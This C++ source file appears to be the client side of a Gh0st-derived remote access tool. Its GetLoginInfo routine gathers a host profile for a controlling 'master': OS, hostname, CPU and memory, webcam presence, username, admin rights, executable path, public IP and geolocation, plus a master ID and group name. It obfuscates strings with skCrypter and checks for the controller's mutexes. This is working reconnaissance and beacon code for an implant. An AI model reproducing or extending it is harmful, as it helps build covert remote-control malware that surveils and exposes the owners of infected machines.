387 lines
12 KiB
C++
387 lines
12 KiB
C++
#include "StdAfx.h"
|
||
#include "LoginServer.h"
|
||
#include "Common.h"
|
||
#include <string>
|
||
#include <iostream>
|
||
#include <iomanip>
|
||
#include <ctime>
|
||
#include <NTSecAPI.h>
|
||
#include "common/skCrypter.h"
|
||
#include <common/iniFile.h>
|
||
#include <location.h>
|
||
|
||
// by ChatGPT
|
||
bool IsWindows11()
|
||
{
|
||
typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||
RTL_OSVERSIONINFOW rovi = { 0 };
|
||
rovi.dwOSVersionInfoSize = sizeof(rovi);
|
||
|
||
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
|
||
if (hMod) {
|
||
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
|
||
if (rtlGetVersion) {
|
||
rtlGetVersion(&rovi);
|
||
return (rovi.dwMajorVersion == 10 && rovi.dwMinorVersion == 0 && rovi.dwBuildNumber >= 22000);
|
||
}
|
||
}
|
||
return false;
|
||
}
|
||
|
||
/************************************************************************
|
||
---------------------
|
||
作者：IT1995
|
||
来源：CSDN
|
||
原文：https://blog.csdn.net/qq78442761/article/details/64440535
|
||
版权声明：本文为博主原创文章，转载请附上博文链接！
|
||
修改说明：2019.3.29由袁沅祥修改
|
||
************************************************************************/
|
||
std::string getSystemName()
|
||
{
|
||
std::string vname("未知操作系统");
|
||
//先判断是否为win8.1或win10
|
||
typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*);
|
||
HINSTANCE hinst = LoadLibrary("ntdll.dll");
|
||
if (hinst == NULL) {
|
||
return vname;
|
||
}
|
||
if (IsWindows11()) {
|
||
vname = "Windows 11";
|
||
Mprintf("此电脑的版本为:%s\n", vname.c_str());
|
||
return vname;
|
||
}
|
||
DWORD dwMajor, dwMinor, dwBuildNumber;
|
||
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");
|
||
if (proc==NULL) {
|
||
return vname;
|
||
}
|
||
proc(&dwMajor, &dwMinor, &dwBuildNumber);
|
||
if (dwMajor == 6 && dwMinor == 3) { //win 8.1
|
||
vname = "Windows 8.1";
|
||
Mprintf("此电脑的版本为:%s\n", vname.c_str());
|
||
return vname;
|
||
}
|
||
if (dwMajor == 10 && dwMinor == 0) { //win 10
|
||
vname = "Windows 10";
|
||
Mprintf("此电脑的版本为:%s\n", vname.c_str());
|
||
return vname;
|
||
}
|
||
//下面不能判断Win Server，因为本人还未有这种系统的机子，暂时不给出
|
||
|
||
//判断win8.1以下的版本
|
||
SYSTEM_INFO info; //用SYSTEM_INFO结构判断64位AMD处理器
|
||
GetSystemInfo(&info); //调用GetSystemInfo函数填充结构
|
||
OSVERSIONINFOEX os;
|
||
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
|
||
if (GetVersionEx((OSVERSIONINFO *)&os)) {
|
||
//下面根据版本信息判断操作系统名称
|
||
switch (os.dwMajorVersion) {
|
||
//判断主版本号
|
||
case 4:
|
||
switch (os.dwMinorVersion) {
|
||
//判断次版本号
|
||
case 0:
|
||
if (os.dwPlatformId == VER_PLATFORM_WIN32_NT)
|
||
vname ="Windows NT 4.0"; //1996年7月发布
|
||
else if (os.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
|
||
vname = "Windows 95";
|
||
break;
|
||
case 10:
|
||
vname ="Windows 98";
|
||
break;
|
||
case 90:
|
||
vname = "Windows Me";
|
||
break;
|
||
}
|
||
break;
|
||
case 5:
|
||
switch (os.dwMinorVersion) {
|
||
//再比较dwMinorVersion的值
|
||
case 0:
|
||
vname = "Windows 2000"; //1999年12月发布
|
||
break;
|
||
case 1:
|
||
vname = "Windows XP"; //2001年8月发布
|
||
break;
|
||
case 2:
|
||
if (os.wProductType == VER_NT_WORKSTATION &&
|
||
info.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
|
||
vname = "Windows XP Professional x64 Edition";
|
||
else if (GetSystemMetrics(SM_SERVERR2) == 0)
|
||
vname = "Windows Server 2003"; //2003年3月发布
|
||
else if (GetSystemMetrics(SM_SERVERR2) != 0)
|
||
vname = "Windows Server 2003 R2";
|
||
break;
|
||
}
|
||
break;
|
||
case 6:
|
||
switch (os.dwMinorVersion) {
|
||
case 0:
|
||
if (os.wProductType == VER_NT_WORKSTATION)
|
||
vname = "Windows Vista";
|
||
else
|
||
vname = "Windows Server 2008"; //服务器版本
|
||
break;
|
||
case 1:
|
||
if (os.wProductType == VER_NT_WORKSTATION)
|
||
vname = "Windows 7";
|
||
else
|
||
vname = "Windows Server 2008 R2";
|
||
break;
|
||
case 2:
|
||
if (os.wProductType == VER_NT_WORKSTATION)
|
||
vname = "Windows 8";
|
||
else
|
||
vname = "Windows Server 2012";
|
||
break;
|
||
}
|
||
break;
|
||
default:
|
||
vname = "未知操作系统";
|
||
}
|
||
Mprintf("此电脑的版本为:%s\n", vname.c_str());
|
||
} else
|
||
Mprintf("版本获取失败\n");
|
||
return vname;
|
||
}
|
||
|
||
std::string formatTime(const FILETIME& fileTime)
|
||
{
|
||
// 转换为 64 位时间
|
||
ULARGE_INTEGER ull;
|
||
ull.LowPart = fileTime.dwLowDateTime;
|
||
ull.HighPart = fileTime.dwHighDateTime;
|
||
|
||
// 转换为秒级时间戳
|
||
std::time_t startTime = static_cast<std::time_t>((ull.QuadPart / 10000000ULL) - 11644473600ULL);
|
||
|
||
// 格式化输出
|
||
std::tm* localTime = std::localtime(&startTime);
|
||
char buffer[100];
|
||
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localTime);
|
||
return std::string(buffer);
|
||
}
|
||
|
||
std::string getProcessTime()
|
||
{
|
||
FILETIME creationTime, exitTime, kernelTime, userTime;
|
||
|
||
// 获取当前进程的时间信息
|
||
if (GetProcessTimes(GetCurrentProcess(), &creationTime, &exitTime, &kernelTime, &userTime)) {
|
||
return formatTime(creationTime);
|
||
}
|
||
std::time_t now = std::time(nullptr);
|
||
std::tm* t = std::localtime(&now);
|
||
char buffer[100];
|
||
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", t);
|
||
return buffer;
|
||
}
|
||
|
||
int getOSBits()
|
||
{
|
||
SYSTEM_INFO si;
|
||
GetNativeSystemInfo(&si);
|
||
|
||
if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ||
|
||
si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) {
|
||
return 64;
|
||
} else {
|
||
return 32;
|
||
}
|
||
}
|
||
|
||
// 检查CPU核心数
|
||
// SYSTEM_INFO.dwNumberOfProcessors
|
||
int GetCPUCores()
|
||
{
|
||
INT i = 0;
|
||
#ifdef _WIN64
|
||
// 在 x64 下，我们需要使用 `NtQuerySystemInformation`
|
||
SYSTEM_INFO sysInfo;
|
||
GetSystemInfo(&sysInfo);
|
||
i = sysInfo.dwNumberOfProcessors; // 获取 CPU 核心数
|
||
#else
|
||
_asm { // x64编译模式下不支持__asm的汇编嵌入
|
||
mov eax, dword ptr fs : [0x18] ; // TEB
|
||
mov eax, dword ptr ds : [eax + 0x30] ; // PEB
|
||
mov eax, dword ptr ds : [eax + 0x64] ;
|
||
mov i, eax;
|
||
}
|
||
#endif
|
||
Mprintf("此计算机CPU核心: %d\n", i);
|
||
return i;
|
||
}
|
||
|
||
double GetMemorySizeGB()
|
||
{
|
||
_MEMORYSTATUSEX mst;
|
||
mst.dwLength = sizeof(mst);
|
||
GlobalMemoryStatusEx(&mst);
|
||
double GB = mst.ullTotalPhys / (1024.0 * 1024 * 1024);
|
||
Mprintf("此计算机内存: %fGB\n", GB);
|
||
return GB;
|
||
}
|
||
|
||
#pragma comment(lib, "Version.lib")
|
||
std::string GetCurrentExeVersion()
|
||
{
|
||
TCHAR filePath[MAX_PATH];
|
||
if (GetModuleFileName(NULL, filePath, MAX_PATH) == 0) {
|
||
return "Unknown";
|
||
}
|
||
|
||
DWORD handle = 0;
|
||
DWORD verSize = GetFileVersionInfoSize(filePath, &handle);
|
||
if (verSize == 0) {
|
||
return "Unknown";
|
||
}
|
||
|
||
std::vector<BYTE> verData(verSize);
|
||
if (!GetFileVersionInfo(filePath, handle, verSize, verData.data())) {
|
||
return "Unknown";
|
||
}
|
||
|
||
VS_FIXEDFILEINFO* pFileInfo = nullptr;
|
||
UINT len = 0;
|
||
if (!VerQueryValue(verData.data(), "\\", reinterpret_cast<LPVOID*>(&pFileInfo), &len)) {
|
||
return "Unknown";
|
||
}
|
||
|
||
if (pFileInfo) {
|
||
DWORD major = HIWORD(pFileInfo->dwFileVersionMS);
|
||
DWORD minor = LOWORD(pFileInfo->dwFileVersionMS);
|
||
DWORD build = HIWORD(pFileInfo->dwFileVersionLS);
|
||
DWORD revision = LOWORD(pFileInfo->dwFileVersionLS);
|
||
|
||
std::ostringstream oss;
|
||
oss << major << "." << minor << "." << build << "." << revision;
|
||
return "v" + oss.str();
|
||
}
|
||
|
||
return "Unknown";
|
||
}
|
||
|
||
|
||
std::string GetCurrentUserNameA()
|
||
{
|
||
char username[256];
|
||
DWORD size = sizeof(username);
|
||
|
||
if (GetUserNameA(username, &size)) {
|
||
return std::string(username);
|
||
} else {
|
||
return "Unknown";
|
||
}
|
||
}
|
||
|
||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
|
||
{
|
||
LOGIN_INFOR LoginInfor;
|
||
LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录
|
||
//获得操作系统信息
|
||
strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());
|
||
|
||
//获得PCName
|
||
char szPCName[MAX_PATH] = {0};
|
||
gethostname(szPCName, MAX_PATH);
|
||
|
||
DWORD dwCPUMHz;
|
||
dwCPUMHz = CPUClockMHz();
|
||
|
||
BOOL bWebCamIsExist = WebCamIsExist();
|
||
if (conn.szGroupName[0] == 0)
|
||
memcpy(LoginInfor.szPCName, szPCName, sizeof(LoginInfor.szPCName));
|
||
else
|
||
sprintf(LoginInfor.szPCName, "%s/%s", szPCName, conn.szGroupName);
|
||
LoginInfor.dwSpeed = dwSpeed;
|
||
LoginInfor.dwCPUMHz = dwCPUMHz;
|
||
LoginInfor.bWebCamIsExist = bWebCamIsExist;
|
||
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
|
||
LoginInfor.AddReserved(GetClientType(conn.ClientType())); // 类型
|
||
LoginInfor.AddReserved(getOSBits()); // 系统位数
|
||
LoginInfor.AddReserved(GetCPUCores()); // CPU核数
|
||
LoginInfor.AddReserved(GetMemorySizeGB()); // 系统内存
|
||
char buf[_MAX_PATH] = {};
|
||
GetModuleFileNameA(NULL, buf, sizeof(buf));
|
||
LoginInfor.AddReserved(buf); // 文件路径
|
||
LoginInfor.AddReserved("?"); // test
|
||
iniFile cfg(CLIENT_PATH);
|
||
std::string installTime = cfg.GetStr("settings", "install_time");
|
||
if (installTime.empty()) {
|
||
installTime = ToPekingTimeAsString(nullptr);
|
||
cfg.SetStr("settings", "install_time", installTime);
|
||
}
|
||
LoginInfor.AddReserved(installTime.c_str()); // 安装时间
|
||
LoginInfor.AddReserved("?"); // 安装信息
|
||
LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // 程序位数
|
||
std::string str;
|
||
std::string masterHash(skCrypt(MASTER_HASH));
|
||
HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE");
|
||
hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE");
|
||
#ifndef _DEBUG
|
||
if (hMutex != NULL) {
|
||
#else
|
||
{
|
||
#endif
|
||
CloseHandle(hMutex);
|
||
config*cfg = conn.pwdHash == masterHash ? new config : new iniFile;
|
||
str = cfg->GetStr("settings", "Password", "");
|
||
delete cfg;
|
||
str.erase(std::remove(str.begin(), str.end(), ' '), str.end());
|
||
auto list = StringToVector(str, '-', 3);
|
||
str = list[1].empty() ? "Unknown" : list[1];
|
||
}
|
||
LoginInfor.AddReserved(str.c_str()); // 授权信息
|
||
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
|
||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
|
||
const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
|
||
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
|
||
std::string loc = cfg.GetStr("settings", "location", "");
|
||
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
||
auto ip_time = cfg.GetInt("settings", "ip_time");
|
||
bool timeout = ip_time <= 0 || (time(0) - ip_time > 7 * 86400);
|
||
IPConverter cvt;
|
||
if (loc.empty() || pubIP.empty() || timeout) {
|
||
pubIP = cvt.getPublicIP();
|
||
loc = cvt.GetGeoLocation(pubIP);
|
||
cfg.SetStr("settings", "location", loc);
|
||
cfg.SetStr("settings", "public_ip", pubIP);
|
||
cfg.SetInt("settings", "ip_time", time(0));
|
||
}
|
||
LoginInfor.AddReserved(loc.c_str());
|
||
LoginInfor.AddReserved(pubIP.c_str());
|
||
LoginInfor.AddReserved(GetCurrentExeVersion().c_str());
|
||
BOOL IsRunningAsAdmin();
|
||
LoginInfor.AddReserved(GetCurrentUserNameA().c_str());
|
||
LoginInfor.AddReserved(IsRunningAsAdmin());
|
||
|
||
return LoginInfor;
|
||
}
|
||
|
||
|
||
DWORD CPUClockMHz()
|
||
{
|
||
HKEY hKey;
|
||
DWORD dwCPUMHz;
|
||
DWORD dwReturn = sizeof(DWORD);
|
||
DWORD dwType = REG_DWORD;
|
||
RegOpenKey(HKEY_LOCAL_MACHINE,
|
||
"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey);
|
||
RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMHz, &dwReturn);
|
||
RegCloseKey(hKey);
|
||
return dwCPUMHz;
|
||
}
|
||
|
||
BOOL WebCamIsExist()
|
||
{
|
||
BOOL bOk = FALSE;
|
||
|
||
char szDeviceName[100], szVer[50];
|
||
for (int i = 0; i < 10 && !bOk; ++i) {
|
||
bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName),
|
||
//系统的API函数
|
||
szVer, sizeof(szVer));
|
||
}
|
||
return bOk;
|
||
}
|